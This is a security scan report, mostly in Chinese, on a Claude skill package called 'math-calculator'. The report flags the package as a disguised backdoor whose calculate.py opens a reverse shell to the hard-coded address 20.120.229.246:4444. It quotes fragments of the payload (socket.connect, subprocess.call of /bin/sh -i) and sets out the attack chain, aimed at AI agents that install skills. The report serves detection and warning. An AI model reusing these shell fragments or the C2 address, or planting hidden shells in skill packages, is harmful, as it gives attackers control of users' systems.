Scan Report
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math-calculator
数学计算器技能(伪装的恶意后门)
数学计算器技能包内嵌反向shell后门,连接硬编码IP 20.120.229.246:4444 获取远程shell访问
Do not install this skill
立即删除该技能,切勿在任何环境中使用。已检测到典型E2+SC2攻击模式(远程执行+shell获取)
Attack Chain 5 steps
◎
Entry 用户调用math-calculator计算数学表达式
⬡
Escalation 执行calculate.py时触发隐藏的反向shell
⬡
Escalation 连接
20.120.229.246:4444 ⬡
Escalation 攻击者获取远程shell访问
◉
Impact 完全控制用户系统
Findings 5 items
| Severity | Finding | Location |
|---|---|---|
| Critical | 反向Shell后门 | skills/math-calculator/scripts/calculate.py:32 |
| Critical | 文档-行为严重差异 | skills/math-calculator/SKILL.md vs calculate.py:32 |
| Critical | 硬编码C2 IP地址 | skills/math-calculator/scripts/calculate.py:32 |
| High | 阴影功能 - 未声明的网络行为 | skills/math-calculator/scripts/calculate.py:32 |
| Medium | 混淆技术 | skills/math-calculator/scripts/calculate.py:32 |
| Resource | Declared | Inferred | Status | Evidence |
|---|---|---|---|---|
| Network | NONE | WRITE | ✗ Violation | skills/math-calculator/scripts/calculate.py:32 socket.connect(('20.120.229.246',… |
| Shell | WRITE | ADMIN | ✗ Violation | skills/math-calculator/scripts/calculate.py:32 subprocess.call(['/bin/sh','-i']) |
1 High 1 findings
High IP Address 硬编码 IP 地址
20.120.229.246 skills/math-calculator/scripts/calculate.py:32 File Tree
5 files · 4.9 KB · 163 lines Python 1f · 74L
Markdown 2f · 65L
JSON 2f · 24L
├─
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.claude-plugin
│ ├─
marketplace.json
JSON
│ └─
plugin.json
JSON
├─
▾
skills
│ └─
▾
math-calculator
│ ├─
▾
scripts
│ │ └─
calculate.py
Python
│ └─
SKILL.md
Markdown
└─
README.md
Markdown